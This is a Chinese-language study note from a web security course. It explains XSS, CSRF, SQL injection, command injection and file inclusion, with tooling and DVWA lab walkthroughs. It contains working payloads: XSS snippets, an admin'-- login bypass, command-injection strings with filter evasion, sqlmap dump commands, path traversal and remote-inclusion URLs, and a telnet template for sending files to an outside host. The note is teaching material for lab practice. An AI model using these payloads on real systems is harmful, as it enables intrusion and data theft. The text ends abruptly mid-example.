本篇筆記的配套視頻:網易雲課堂,微專業/web安全工程師。
一、WEB基礎知識
1.1 Web簡介
1.1.1 Web介紹
1)web的發展
web1.0:以內容為中心,網站提供內容信息,用戶進行訪問閱讀,信息單向傳輸,典型的有門戶網站和個人網站。
web2.0:以人為中心,用戶可添加內容,彼此溝通互動,典型的有微博和博客。
web3.0:網站內的信息可以直接和其他網站相關信息進行交互,能通過第三方信息平台同時對多家網站的信息進行整合使用;用戶在互聯網上擁有自己的數據,並能在不同網站上使用;完全基於web,用瀏覽器即可實現復雜系統程序才能實現的系統功能;用戶數據審計后,同步於網絡數據。。
web4.0:...
2)安全問題的演進
而隨着web從1.0到2.0演進,常見的web攻擊方式也從SQL注入,上傳漏洞等服務端手段拓展到XSS,CSRF等客戶端手段。
3)安全問題分類:
- 客戶端/前端:釣魚、暗鏈、XSS、CSRF、點擊劫持、URL跳轉等;
- 服務端/后端:SQL注入、命令注入、文件上傳、文件包含、暴力破解等。
1.2 Web通信
1) 當我們通過瀏覽器訪問網址時發生了什么
- DNS服務器將域名解析為ip地址。
- 瀏覽器向web服務器發送一個HTTP請求。
- 服務器收到請求並進行處理。
- web服務器向瀏覽器返回一個HTTP響應。
- 瀏覽器對收到的響應和內容進行解碼渲染。
2)URL協議
Uniform Resource Locator,定位服務器的資源
#(hash、錨點)作用:
表示網頁中的一個位置,被稱之為錨點,常用於某個網頁間不同位置的跳轉,簡單的說就是在一個網頁中,URL 不變的情況下,通過添加“#auchor”的字符在 URL 最后可以跳轉到當前網頁中已經定義好的錨點(id=“auchor”或name="auchor")的位置。
下面列出了#的特點:
- 該標識是本地的一個鏈接,#及后面的參數不會發送在http request請求中
- 在#后的參數只能表示一個id
- JavaScript可以使用window.location.hash讀寫#值,寫入時會在不重載網頁的前提下,創造一條訪問歷史記錄,瀏覽器的后退鍵(歷史)可用。
- 有的搜索引擎如google會忽略#以后的參數
3)HTTP協議
HyperText Transfer Protocol,傳輸服務器的資源
HTTP請求格式:請求行、消息報頭(空行)、請求數據;
HTTP響應格式:狀態行、消息報頭(空行)、響應數據;
HTTP請求方法:GET,POST,HEAD、OPTIONS,PUT,DELETE,TRACE,CONNECT。
HTTP狀態碼:了解常見狀態碼,200 OK,301/302 Redirect,403 Forbidden,404 Not Found,500 Internal Server Error,503 Server Unavailable等。
cookie:用戶憑證,是瀏覽器發給客戶端的一段文本信息。例如用戶輸入賬戶密碼后,網站會生成一個cooki給用戶,相當於我們的鑰匙,每次訪問時瀏覽器都會帶上cookie。
Set-cookie:服務端頒發憑證
referer: 告訴服務器請求的來源(瀏覽器自動加上),可用於:源統計流量,來源合法性判斷(防止盜鏈,CSRF漏洞)。
1.2 Web開發基礎知識
本章節只講解最基礎的內容,要求能看懂就行。
1.2.1 HTML
1)名詞解釋
元素:通常以開始標簽起始<xx>,以閉合標簽終止</xx>
屬性:元素的額外信息,可分為標簽屬性(name、id等),事件屬性(onload、onerror、onclick等)
2)涉及安全相關的常見元素
圖像
鏈接
表單
內聯框架,在框中展示另一個頁面
注釋
3)DOM(Document Object Model)
DOM是一種處理可擴展置標語言的標准編程接口,它規定了HTML,XML等語言的一些規范,使JavaScript(以及其他編程語言)可以根據這些規范來進行各種操作。
因此DOM的本質是連接了Web頁面和編程語言。
所有 HTML 元素被定義為對象,而編程接口則是對象方法和對象屬性,方法是能夠執行的動作(比如添加或修改元素),屬性是您能夠獲取或設置的值(比如節點的名稱或內容)。
DOM將Html轉為DOM樹,能更直觀的了解頁面元素。
1.2.2 JavaScript
1.2.2.1 那些地方可以運行JS?
1)HTML中
<script> js代碼 </script> 或 事件屬性(如onclick)中
例:將頁面中登陸超鏈接修改為彈出告警
- 通過開發者工具選中頁面中的元素
- 直接在查看器中修改
- 點擊登陸查看效果
2)瀏覽器開發者工具的控制台中
例1:使用js獲取元素
- 通過開發者工具選中頁面中的元素
- 在控制台使用getElementByld()通過標簽的id屬性獲取元素
- 使用.innerHTML獲取元素內容
- 使用alert() 彈出警告框展示信息
演示:將登錄框的元素打印出來
alert(document.getElementById("TANGRAM__PSP_10__form").innerHTML)
例2:修改HTML元素內容
使用.innerHTML賦值
演示:把百度的登錄框內容,修改為內聯框架,顯示網易的登錄框
document.getElementById("TANGRAM__PSP_10__form").innerHTML="<iframe src='https://id.163yun.com/'></frame>"
例3:利用document.write寫入html內容
寫入實時時間,以及登錄框
document.write(Date()) document.write("<iframe src='https://id.163yun.com/'></frame>")
例4:獲取、修改cookie
document.cookie document.cookie="cookie=test"
修改后會在末尾添加
也可以在“網絡”中查看cookie
1.2.2.2 什么是BOM
瀏覽器對象模型,本質是連接瀏覽器和編程語言。可用於獲取瀏覽器信息,操作瀏覽器等。
常用函數:
- alert("文本內容"),警告彈窗
- confirm("文本內容"),確認彈窗。確定返回true,取消返回false
- prompt("標題", "輸入框默認值(可選)"),提示彈窗,確定返回輸入,取消返回null
可在控制台中操作,常用於簡單的調試和信息展示。如XSS漏洞的測試。
- window.screen,獲取屏幕信息,如長寬等,注:window.可省略,以下都是
- window.location.href,獲取頁面URL
當前頁面轉到百度,執行window.location.href = "http://www.baidu.com"
- window.navigator獲取瀏覽器信息,如window.navigator.userAgent
- window.open("網址") 打開指定頁面
- window.close() 關閉窗口
1.2.3 SQL
1)環境搭建
可使用phpstudy快速搭建mysql環境
2)常用mysql命令
創建數據庫:create database xxx;
查看數據庫:show databases;
切換數據庫:use xxx;
刪除數據庫:drop xxx;
創建表:create table 表(屬性名 數據類型 [完整性約束條件],
屬性名 數據類型 [完整性約束條件]);
查看數據表:show tables;
插入數據表:insert into 表('鍵1', '鍵2') values('值1', '值2');
查詢數據庫:select * from 表;
條件查詢:where
排序:order by
合並兩張表的信息:select 信息 from 數據表1 union select 信息from 數據表2;
注:重復的數據會合並, 若不想合並重復的,使用union all
3)注釋
注釋單行:#......... 或 -- ...... 注:--后面有空格
注釋多行:/*......*/
4)常用內置函數:
- database() 顯示當前數據庫,select databases();
- current_user 顯示當前用戶,select current_user;
- load_file('文件路徑'),打印文件內容
- version(),獲取數據庫斑斑
- into + outfile,寫入文件
1.2.4 PHP
一種腳本語言,常用於網頁的開發。
php在服務端執行,返回html給客戶端。后綴名php,php文件可包含html、js、php代碼。
1)基本語法
腳本范圍:<?php ?>
注釋單行:#......... 或 // ......
注釋多行:/*......*/
變量:$變量名,區分大小寫,定義和使用都要加$
打印信息:echo和print,功能類似,實際使用中一般用echo。
函數:function 函數名(){ 函數體 }
2)php實現安全相關的常見功能:
獲取表單信息:
http請求為GET,php里使用$_GET,請求為POST時,使用$_POST
GET和POST的一個區別,GET會將參數寫在URL中,而POST不會。
$_REQUEST可以獲取這兩種的傳值
文件上傳:
常見系統變量:
文件的包含:
include "php文件路徑";
require "php文件路徑";
區別:引入文件的時候,如果碰到錯誤,都會給出提示,但include繼續運行下邊的代碼,而require並停止運行。
4)php連接數據庫
二、WEB安全基礎
2.1 無處不在的安全問題
2.1.1 安全問題舉例
1)釣魚
利用各種手段,仿冒真實網站的URL地址以及頁面內容,以此來騙取用戶銀行或信用卡賬號、密碼等私人資料。
常用手段如在郵件里帶上偽造網站鏈接,或是帶有誘惑性文字的標題來誘騙受害者點擊。
2)篡改網頁
黑客利用各種技術、非技術手段獲取網站控制權后,將網頁內容惡意修改的手段。
3)暗鏈
黑客獲取網站控制權后,在網頁內植入不可見的鏈接。
它不能為正常用戶點擊,是為搜索引擎的爬蟲機器人准備的,目的是提高網站的排名(SEO,Search Engine Optimization,搜索引擎優化)
暗鏈一般為網游、醫療、博彩、色情類。
4)webshell
黑客獲取網站控制權后,上傳webshell木馬。
它是以asp、php、jsp、cgi等網頁文件形式存在的一種命令執行環境,是一個功能強大的web后門程序,可通過瀏覽器訪問。一旦被植入可執行大部分命令操作,獲取服務器權限。
由於webshell的流量是和正常網頁流量混在一起,不容易被入侵檢測系統發現。
2.1.2 搜索引擎使用技巧
關鍵字:Hacked by
搜索引擎語法:
Intitle:keyword標題中含有關鍵詞的網頁
Intext:keyword正文中含有關鍵詞的網頁
Site:domain在某個域名和子域名下的網頁
例如:谷歌搜索intitle:hacked by可以搜索出曾經被黑過的網站
2.1.3 web安全分類
2.2 常見Web漏洞解析
2.2.1 XSS
Cross Site Script:跨站腳本攻擊,為了和CSS區分開,簡寫XSS。
危害:盜取用戶信息,釣魚,制造蠕蟲等。
一種常見的攻擊方式,用戶訪問A服務器,執行了黑客注入的腳本,將用戶cookie發送給黑客搭建的服務器B,黑客利用cookie信息仿冒用戶操作。當然XSS能做的不止是盜取cookie。
1)存儲型
黑客先構造帶有XSS腳本的內容,提交給web程序(如論壇留言、博客),寫入數據庫中。其他用戶或系統管理員在查看時會觸發XSS。
用戶的觸發過程:
分析源碼:
<img src="#" onerror=alert(/here.../)>
留言中img的路徑非法,觸發了后面的alert語句。
2)反射型
用戶訪問攜帶XSS的鏈接,打開鏈接即觸發XSS。
我們可以看到URL中帶有明顯的XSS特征,這個語句的含義是當圖片加載失敗,執行后面的alert語句。這里img src指向的是一個非法地址,圖片肯定加載失敗,因此觸發XSS腳本。
查看html源碼
分析后端php代碼:
觸發過程:
3)DOM型
將XSS寫入#錨點中,用戶訪問攜帶XSS腳本的鏈接即觸發XSS。
錨點信息是不會發送到后端服務器的,因此向頁面輸出XSS的是前端頁面。
js腳本分析:
從URL中取出值放置在errorMsg變量中。
接着對errorMsg進行解碼,再以innerHTML的形式寫入id=errorMsg的DOM中。
與反射型的區別:
- 它不是在參數中,而是在錨點(hash)中。
- DOM型通過前端js將xss腳本寫入DOM中,而反射型是通過后端web程序寫入相應頁面中。
4)總結對比
存儲型:代碼是存儲在服務器中的,例如黑客提交了一篇帶惡意腳本的博客,過濾不嚴時被存儲在服務器中,當其它用戶訪問時,就會觸發腳本,執行惡意操作。受害者較廣。
反射型:需要欺騙用戶自己去點擊鏈接才能觸發XSS代碼,例如對於網站的用戶,不小心點擊了一個鏈接,暗中將他的cookie發送到由攻擊者構建的網站。受害者為少數用戶。
DOM型:利用URL中的錨點以及前端JS觸發XSS,服務器不參與,而存儲型與反射型都需要服務器響應參與。
2.2.2 CSRF
Cross Site Request Forgery 跨站請求偽造
利用用戶已登錄的身份,在用戶不知情的情況下以用戶的名義(cookie)完成非法操作。
危害:被轉賬、被發廣告等,制造蠕蟲。
攻擊過程:用戶正在銀行的網站上進行轉賬操作,此時用戶點擊黑客構造的惡意鏈接,自動完成向黑客轉賬的動作。通常cookie中會存放用戶憑證,瀏覽器在發送請求時會自動帶上已有的cookie,由於當前cookie還生效,因此提交成功。
在惡意地址里,黑客通過iframe內聯框架指向了以下自動轉賬頁面,自動提交轉賬動作。
之所用內聯框架是因為轉賬一般會有明顯的頁面跳轉,直接訪問容易被發現。
2.2.3 點擊劫持
又叫UI覆蓋攻擊,是一種視覺上的欺騙手段,通過誘導用戶點擊鏈接完成攻擊。
攻擊者通常使用一個透明的iframe,覆蓋在誘導網頁上,誘使用戶在該頁面上進行操作,此時用戶將在不知情的情況下點擊透明的iframe頁面
例:利用小游戲讓用戶在玩游戲的過程中,誘導用戶點擊某個區域,提交信息。
源碼分析:
2.2.4 URL跳轉漏洞
利用用戶熟悉信任的網站,借助未驗證的URL跳轉漏洞在URL參數里添加惡意網站地址,使得用戶的頁面直接跳轉到惡意的網站,而且惡意網站一般是一個高仿網站,使用戶誤以為訪問的是真正的官網。
例如下面例子中URL前部分為百度貼吧的鏈接,使用戶放松警惕點擊,結果卻是跳轉到了惡意網站。
現在很多惡意鏈接進一步將跳轉的惡意地址偽裝成短鏈接的形式,如:http://t.cn/RVTard,會更具迷惑性。
源碼分析:
1)php利用header跳轉
下面源碼中,通過向url.php后台程序傳入url參數,后通過header("Location: $url");進行302重定向,因此可以利用這個漏洞,直接在URL里構造惡意跳轉的鏈接。
2)Javascript利用window.location.href跳轉
3)META標簽進行跳轉
2.2.5 SQL注入
應用程序對用戶輸入的合法性沒有判斷,前端傳入后端的參數是攻擊者可控的,並且參數代入數據庫中查詢,黑客通過構造不同的SQL語句來實現對數據庫的任意操作。
本質:數據和代碼未分離,即數據當做代碼來執行
源碼分析:
下列是一個“萬能密碼”的例子。應用程序將用戶、密碼通過參數傳入,並用於拼接sql語句,本意是在數據庫中查詢賬號、密碼密碼相同的數據,若查到則返回成功。
此時我們將賬號參數修改為admin'-- (--后帶空格),sql語句就注釋掉了密碼相同的限制,等同於查詢是否有admin賬號,有就返回成功。
漏洞條件:
- 可以控制輸入的數據
- 服務器拼接SQL執行;
2.2.6 命令注入
黑客利用應用程序調用的系統命令函數(函數的參數可控),將惡意命令拼接到正常命令中執行。
php常見的命令函數:system、exec、shell_exec、eval
源碼分析:
這段代碼里執行的curl命令的參數url是通過$_GET獲取,這里$url參數可控
我們將參數修改為:http://www.163.com " %26 dir "./
這里%26是轉義后的&,因為在url中&代表參數分隔符
等同於執行了兩條命令:curl -I "http://www.163.com" & dir "./"
2.2.7 文件漏洞
常見的文件漏洞分類:
1)文件上傳
利用網站提供的上傳文件(頭像、附件等),進行上傳webshell、木馬。
驗證漏洞存在的方法:
在可上傳文件的頁面(如發帖上傳圖片)上傳如下php文件,接着查看圖片地址(圖片會加載失敗,因為實際是php文件地址),最后在瀏覽器地址欄里輸入執行。若能顯示出php信息,漏洞存在。
<?php phpinfo(); ?>
漏洞條件:
- 可以上傳執行腳本
- 腳本擁有可執行權限。
2)任意文件下載:
利用網站提供的下載文件(應用、附件等),來下載web上的任意文件和程序代碼。
危害:代碼泄露、數據庫配置文件泄露、系統文件泄露。
方法:首先獲取文件下載地址,接着修改下載文件的參數為其他文件,如代碼、配置文件(要進行各種嘗試和猜測),在瀏覽器中執行。
漏洞條件:未驗證下載文件的格式;未限制請求的路徑。
3)文件包含漏洞
在通過PHP的函數引入文件時,由於傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件,就可能導致意外的文件泄露甚至惡意的代碼注入。
分類:本地文件包含、遠程文件包含(通過http或其他網絡請求來引用遠程文件)
php常見文件包含函數:include() require() include_once() require_once()等
源碼說明:下面的例子通過$_GET解析參數name獲取遠程文件地址,使用include包含
驗證漏洞的方法:
上傳帶有phpinfo()的文件,后綴任意(如.png),在頁面上獲取該圖片的地址,接着將URL里name值替換為上傳文件的路徑。執行URL,若顯示了php信息則說明漏洞存在
漏洞條件,php.ini配置里以下兩個配置需打開:
allow_url_fopen = On (允許打開遠程文件)
allow_url_include = On (允許包含遠程文件)
三、WEB安全工具
在Web安全測試中,借助合適的工具,能夠幫助我們提高測試效率、擴展測試思路。本課會給大家介紹瀏覽器及擴展、代理抓包、敏感文件探測、漏洞掃描、注入探測、目標信息搜集的常用工具用法及測試思路。
web攻擊流程:信息搜索->漏洞探測及利用->后門植入/獲取權限->痕跡清理
3.1 瀏覽器和插件
3.1.1 瀏覽器設置
一般使用Chrome、Firefox、IE瀏覽器
瀏覽器設置,懂得如何設置js和彈窗的開關,xss漏洞,一般以彈窗來證明。驗證時需要開啟。
1)Chrom
可以針對當前網站或是全局進行
全局設置:設置-->隱私設置和安全性-->網站設置
針對當前網站:
2)Firefox
3)IE
XSS篩選器開關,保證XSS腳本不被攔截
3.1.2 瀏覽器測試常用功能及插件
1)知道如何清除緩存,去掉自動登錄信息等
2)知道如何進入隱身模式,這樣不會記錄各種登錄信息等。
3)查看頁面源代碼(鼠標右鍵,或view-source:url)
4)查看網絡數據包
F12調出開發者工具,選擇網絡,刷新頁面,選取相應的請求包
5)如何查看DOM元素
對目標元素點右鍵,檢查元素;或者在開發者工具里點“選取元素”
6)插件(firefox為例)
- firebug,已退役,整合進了開發者工具中
- HackBar,提供快速構造(修改)HTTP請求(如添加referer),以及多種編碼變換的功能
已收費,可以使用替代插件,如HackBarV2,安裝后集成在開發者工具里,F12調出。
或使用舊版 hackbar2.1.3(手動安裝,並關閉插件自動更新)
- Advanced Cookie Manager 已下線
替代插件:Cookie Quick Manager,用於修改、增加、刪除Cookie
- Proxy Switcher
推薦使用替代插件:SwitchyOmega
- Tamper data 已下線
暫無可替代擴展,可以安裝舊版瀏覽器(我在kali下使用firefox36.0.4驗證可用),手動安裝amper_data-11.0.1-fx.xpi
http://ftp.mozilla.org/pub/firefox/releases/
3.2 代理工具介紹
代理原理:就像一個“中間人”,當客戶端有因特網的數據要求時,Proxy會幫用戶去向目的地取得用戶所需要的數據,負責攔截、放行、丟棄請求和響應。
常見代理抓包工具:Burpsuite、Charles、Fiddler
wireshark的區別:wireshark也能抓取HTTP、HTTPS,但是不能解密HTTPS,所以wireshark看不懂HTTPS中的內容。同時它也不具備攔截、修改報文。
設置代理抓包時,瀏覽器和代理抓包工具的ip、端口需設置一致。配合搭配代理插件快速切換代理。
3.2.1 Charles
1)charles設置:
ssl代理設置里,添加對443端口的ssl代理
在本地安裝證書,然后還需要在移動端或瀏覽器上安裝,這個我們在第二步瀏覽器配置時再執行(這里點開后會提示在瀏覽器上執行訪問chls.pro/ssl,先記住這個地址)
2)Firefox設置
常規-->網絡設置
默認開啟了“windows代理”,這里選擇“使用系統代理設置”也可以。
根據第一步里遠程安裝證書的提示,打開地址chls.pro/ssl
下載證書時至少勾選第一項目。
如果沒有配置無法訪問https網站,可以通過瀏覽器訪問about:support 獲取firefox配置文件目錄,關閉瀏覽器,刪除cert9.db后重啟再次訪問chls.pro/ssl導入證書
上述配置完就可以抓https報文了。
3)SwitchyOmega配置
上述步驟驗證了代理可用,我們這里使用SwitchyOmega插件代替firefox的代理設置。
先將firefox的代理關閉,設置為不使用代理。
使用該插件可以方便的在不同代理間切換,或關閉代理。
3.2.1 fiddler
勾選抓包https和解密https流量,會提示安裝證書
設置代理端口,默認8888
3.3 漏洞掃描工具
環境:下載並配置本地的Python環境
3.3.1 敏感文件探測
1)什么是敏感文件
網站管理后台,數據文件,備份文件,webshell等;
2)如何探測敏感文件
猜測可能文件名,根據返回HTTP狀態碼判斷文件是否存在。200:存在;301:文件發生跳轉需要再確認;404不存在。可利用自動化工具“御劍”,配置字典,掃描站點。
用以下兩個站點測試,ASP、DIR、MDB、PHP字典測試:
4)掃描時字典不是越大越好
根據實際情況選擇合適的字典。
通過訪問index.asp、index.php、index.aspx、index.jsp來嘗試初步判斷網站類型,選擇合適的字典。
根據網站地址猜測敏感文件,生成定制化的字典。
3.3.2 綜合漏洞掃描
1)常用工具
AWVS,NetSparker,AppScan。
2)漏掃描流程與基本原理
- 掃描配置與目標基本信息探測
- 爬蟲:目標站點頁面爬取
- 各個漏洞探測模塊:具體的漏洞測試
- 漏掃結果記錄和呈現
3)使用漏掃工具需要明確的問題
- 可能 對目標站點的誤傷,如:高流量、請求了危險功能(如刪除數據庫)
- 漏掃的盲區:邏輯漏洞,如:訂單金額數據篡改漏洞
- 測試用例可能需要調整才能觸發
- 誤報與漏報
- 將掃描結果作為人工測試的線索
3.3.3 SQL注入漏洞
1)sqlmap介紹
sql注入漏洞檢測與利用工具,依賴python2.7環境
從官網sqlmap.org下載,版本根據實際情況選擇,windows的下載zip格式,python sqlmap.py出現下圖,說明已正常運行。
目錄說明
- txt文件夾下是sql注入的字典
- xml文件夾下是數據庫相關payload(攻擊載荷)
- 操作結果會保存在本地output目錄
注入基本流程:
- 找到有數據庫交互的功能頁面,這往往需要經驗判斷。
- 判斷是否存在SQL注入。
- 利用SQL注入漏洞讀取數據。
- 導出所需數據保存。
2)查找注入點
查找GET方式的sql注入點:
開始檢測:python sqlmap.py -u "檢測的URL地址"
查找POST方式的sql注入:
方法一:
將抓包軟件記錄的post包以文本方式保存,如下圖。
執行命令:python sqlmap.py -r "數據包路徑"
方法二:
python sqlmap.py -u "檢測的URL地址" --data="參數"
3)獲取數據
python sqlmap.py -u "檢測的URL地址" -p "注入點"
注,若需要登錄信息,--cookie "cookie信息",其他的參數如下:
- 查看用戶:--user
- 查看數據庫:--dbs
- 查看當前用戶和數據庫:--current-user --current-db
- 讀取數據庫數據表名:--tables -D "數據庫名"
- 查看表字段信息: --columns -T "表名" -D "數據庫名"
- 查看表有多少條記錄:--count -T "表名" -D "數據庫名"
- 查看表里的所有記錄:--dump -T "表名" -D "數據庫名"
- 查看表里指定條數的記錄:--dump -T "表名" -D "數據庫名" --start 開始記錄 --stop 結束記錄
- 查看數據庫里所有表的所有記錄:--dump-all -D "數據庫名"
3.4. 在線工具
3.4.1 搜索引擎語法
熟悉百度、谷歌的高級搜索。
1)通過界面搜索
例:通過百度、谷歌,搜索目標網站中帶有關鍵字的頁面
2)google hack基本搜索語法
- 目標網站的基本介紹:info:站點
- 搜索特定的站點信息,site:站點
- URL中包含指定字符串,inurl:關鍵字
例1:查找某個站點有沒有phpinfo頁面,site:testphp vulnweb.com inurl:phpinfo.php
例2:找找有沒有數據庫交互頁面,site:testphp vulnweb.com inurl:php?
- URL中包含指定字符串,site:站點 inurl:(login|admin)
- 網頁標題中包含指定字符串,intitle:關鍵字
- 網頁標題中包含指定字符串,intext:關鍵字
- 搜索特定后綴名的文件(例查看有沒有泄露的數據庫), filetype:文件名
例1:查找數據庫泄露,site:testphp.vulnweb.com filetype:sql
例2:查詢日志泄露,site:testphp.vulnweb.com filetype:log
- 查看網站之前緩存,如網站遷移已不能訪問:cache:站點
例:cache:testphp.vulnweb.com
3)旁站查詢
bing的旁站查詢功能(目前不能直接在網站上搜索,查資料需要申請key調用api,比較麻煩)
替代方案:站長工具的同IP網站查詢
例,我們要查詢testphp.vulnweb.com同IP下還搭建了其他什么網站
- 通過開發者工具獲取testphp的IP地址,176.28.50.165
- 同IP網站查詢該地址即可
3.4.2 網絡空間搜索
網絡空間搜索引擎的作用就是將互聯網上公開的網絡資產收集和整理,以此方便人們進行查閱和利用。其原理是探測爬取網站,識別並打標簽,存儲信息以供檢索。
1)常用網絡空間搜索站點:
- ZoomEye國內:https://www.zoomeye.org
- FOFA.SO國內:https://fofa.so
- Shodan國外:https://www.shodan.io
ZoomEye使用簡單說明:
- 查看指定組件和版本的信息,app:"組件名" ver:"組件版本"
例:app:"Apache httpd" ver:"2.2.16"
- 搜索PHP語言的網站,直接搜索PHP
- 搜索VxWorks系統的設備,直接搜索VxWorks
- 可以通過頁面的高級搜索查看更多搜索信息
- 搜索開放21端口,port:"21"
ZoomEye的詳細手冊見:https://www.zoomeye.org/doc?channel=user
2 )其他在線工具
WhatWeb:
一款網站指紋識別工具,可以收集網站搭建使用的程序,包括何種CMS系統、什么博客系統、Javascript庫、web服務器、內嵌設備等。
kali系統里自帶,也有線上工具:https://www.whatweb.net/
ipip.net:查詢ip信息:https://www.ipip.net/ip.html
cmd5:在線加解密,www.cmd5.com
站長工具:各種小工具集合,如分布式ping,可以幫助找到站點的CDN地址。http://tool.chinaz.com
安全圈info:信息安全導航,https://www.anquanquan.info/
四、WEB安全實戰
挖洞的思路:
- 漏洞是什么
- 怎么挖洞:手動挖、工具挖、自己寫工具挖
- 為什么要挖洞
- 挖后的善后工作
4.1 漏洞環境搭建
4.1.1 安裝PHP調試環境
1)PhpStudy
集成了Apache、PHP、MySQL、phpMyAdmin等一系列搭建php環境的工具。達到快速搭建的目的。該軟件跨平台。
安裝mysql,默認賬號密碼為root/root
2)DVWA
DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑒定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防范的過程。
分為四種安全級別:Low,Medium,High,Impossible。
測試者可以通過比較四種級別的代碼,逐步掌握每種滲透方式的原理和防御。
部署方法:
- 官網下載DVWA部署包http://www.dvwa.co.uk/ ,解壓后放置於phpStudy安裝路徑的WWW目錄下,文件夾可重命名為dvwa。
- 進入config,修改config.inc.php里的數據庫配置。這里只要修改mysql的密碼。
- 打開瀏覽器訪問http://localhost/dvwa/setup.php,點擊最下方 Create 創建測試用數據庫,如果報錯,確認config.inc.php里的數據庫配置正確。
- 打開瀏覽器訪問http://localhost/dvwa/login.php,使用admin/password即可訪問。
注:這里最好用localhost,如果使用127.0.0.1在測試CSRF時有些小問題。
3)其它工具
下載瀏覽器Firefox,安裝第三章中提到的插件和工具。
4.2 暴力破解
暴力破解(Brute Force):核心就是“窮舉法”,猜出用戶的密碼。利用常見的密碼字典,就能破獲大部分的密碼。理論上來說,只要給定足夠的時間,暴力破解就一定能破譯密碼。
1)OWASP ZAP 工具安裝
ZAP全稱Zed Attack Proxy,https://www.zaproxy.org/
這款工具功能強大,包含抓包,爬蟲,端口掃描,主動掃描等。在暴力破解這一章節中,我們利用的是它的代理抓包以及暴力破解功能。
證書設置:
安裝好后需要導入證書,否則firefox無法正常訪問。
ZAP導出證書:Tools-->Options-->Dynamic SSL Certificates-->save
firefox導入證書:首選項-->隱私與安全-->查看證書-->證書頒發機構-->導入
代理端口設置:
打開ZAP軟件,設置代理,默認代理端口是8080,若無沖突可以不做修改。我們可以打開頁面確認:127.0.0.1:8080
firefox設置代理為127.0.0.1,端口8080
2)DVWA實戰
設置破解難度為低(low),submit提交
進入暴力破解頁面
抓包查看請求信息,Fuzz,針對賬號和密碼構造字典,start fuzzer
在fuzzer窗口里查看破解結果,一般錯誤和正確的頁面不同,這里根據大小排序找到不一樣的結果。
medium等級:驗證錯誤,會有sleep幾秒。延長破解時間。
high:每次登陸的參數user_token根據上一次的相應填寫,值都是動態、隨機的。該工具不能滿足。可以自己寫python工具進行交互式暴力破解。
impossible:賬號錯誤3次,鎖定15分鍾,不論正確錯誤返回的頁面相同。此外,常見的提高安全性手段如添加驗證碼。
4.3 命令注入
前面的基礎課程中,我們提到命令注入需要三個條件:
- 是否調用系統命令
- 函數/參數是否可控
- 是否拼接輸入
DVWA實戰:
1)先要確定它調用的是系統命令,通過和系統命令執行結果做對比推測(也只能大概確定是ping命令)。
2)確定可控字段,這里是輸入的IP地址
3)注入的方法:
- win下用 & 或 && 執行兩條命令,如127.0.0.1 & net user linux下 用 ; 來執行兩條命令
- | 將上條執行的結果作為下條命令的輸入,127.0.0.1 | net user,這里ping不會輸出,值輸出net user,但已達到目的
- || 第一條命令執行失敗了才執行第二條。127.0.0.1a | net user
- 如果敏感命令被過濾了,比如whoami被過濾了,可以用一對雙引號或單引號隔開來避開敏感詞,如who""ami
impossible:通過限制IP的格式,有效的防止了命令行注入,一般通過“白名單”方式,限制那些可以輸入。
4)盲注
示例是有輸出的,如果沒有輸出我們就需要盲注.
例1,延時注入:
windows下,ping 127.0.0.1 -n > nul
linux下,sleep 5
我們通過開發者工具可以看到,頁面相應比以往延遲了10秒,說明漏洞存在
例2:遠程請求
通過注入遠程請求命令,從服務端發起ping、telnet、curl等請求。
curl,比如這里我們抓到了百度的http請求。
這里僅僅是判斷了漏洞存在,比如要進行托庫,利用telnet命令將文件傳輸到指定服務器,telnet xxx.xxx.xxx.xxx {port} < {file to transfer}
其他可以利用來托庫的命令(協議):NetCat、WGET、cURL、SMB、TELNET、ICMP、DNS等。
4.4 CSRF
CSRF(Cross-site request forgery):跨站請求偽造,本質是利用受害者尚未失效的身份認證信息(cookie、會話等),誘騙其點擊惡意鏈接或者訪問包含攻擊代碼的頁面,在受害人不知情的情況下以受害者的身份向(身份認證信息所對應的)服務器發送請求,從而完成非法操作(如轉賬、改密等)。有效的防護措施就是不要輕易點擊任何不可信的鏈接和圖片,服務器也可通過token和需要提供原始信息的方式來提高安全等級。
DVWA實戰:
1)Low安全等級
進入CSRF頁面,該頁面的作用是修改登錄DVWA的密碼。
使用Tamper Data到get請求包,修改參數后回放發現密碼修改成功。注:使用其他抓包軟件也行,如暴力破解時用到的ZAP。
有了這個經驗后,設計攻擊方法:
- 直接發給受害者點擊,但容易被識破
- 構造一個配有誘惑性圖片的頁面,包含自動提交轉賬動作的頁面(最好再通過iframe內聯框架),讓用戶不容易察覺。
2)Medium安全等級
如果使用構造的網頁(測試時網站域名使用127.0.0.1)調轉連接無效,通過抓包分析正確和失敗的數據包。發現referer不同(DVWA獲取到的是localhost,我們構造的網頁是127.0.0.1)。通過不斷修改referer確認,只要referer中包含了host就可以通過。這樣我們可以在網站的目錄下建立一個localhost文件夾,將網頁放到該目錄下(為的是讓referer中帶有localhost),測試通過。
查看源碼驗證:
2)High安全等級
抓包發現帶上了動態的user_token,來自上一個相應包中。
企圖在自己服務器構造頁面獲取用戶token比較難,所以一種思路是結合之后的XSS獲取token。
3)impossible安全等級的
輸入框里多了一欄,“原始密碼”,攻擊者在不知道用戶密碼的情況下很難通過跨站偽造請求。
4.5 文件包含
文件包含(File Inclusion):是指頁面利用url去動態包含文件(include或require等),當文件名參數可控但又過濾不嚴的時候,就容易被利用。文件包含漏洞分為本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因為開啟了php配置中的allow_url_fopen選項(選項開啟之后,服務器允許包含一個遠程的文件)。
漏洞實戰:
需要先在phpstudy里php配置中開啟allow_url_include開關。
1)low安全等級
通過觀察url中帶有參數指向文件名,嘗試訪問不同頁面file1.php、file2.php、file3.php,變更的僅僅是文件名,這就是我們可以利用的地方。
嘗試修改文件名驗證,雖然返回文件不存在錯誤,但我們獲得了一些有效信息,首先確定系統會去找這個文件,其次暴露了Web的絕對路徑。
攻擊本地路徑:
路徑前綴是固定的,如果我們要執行其他路徑上的文件,可以通過../方式獲取上層路徑。如:
http://localhost/dvwa/vulnerabilities/fi/?page=../../phpinfo.php
攻擊遠程路徑:
首先在自己服務器上搭建一個頁面,這里以phpinfo2.php為例,在頁面執行:
http://localhost/dvwa/vunlnerbilities/fi/?page=http://127.0.0.1/phpinfo2.php
將在攻擊Web服務器上執行攻擊者服務器的程序。實際攻擊中可以換成webshell
2)Medium安全等級
使用../無法訪問,說明服務器過濾了一些字符。
”http:// ”、”https://”、 ” ../”、”..\”過濾掉,替換成為空字符。我們可以構造....//的方式,過濾掉中間的../,剛好還剩下一個../,例:
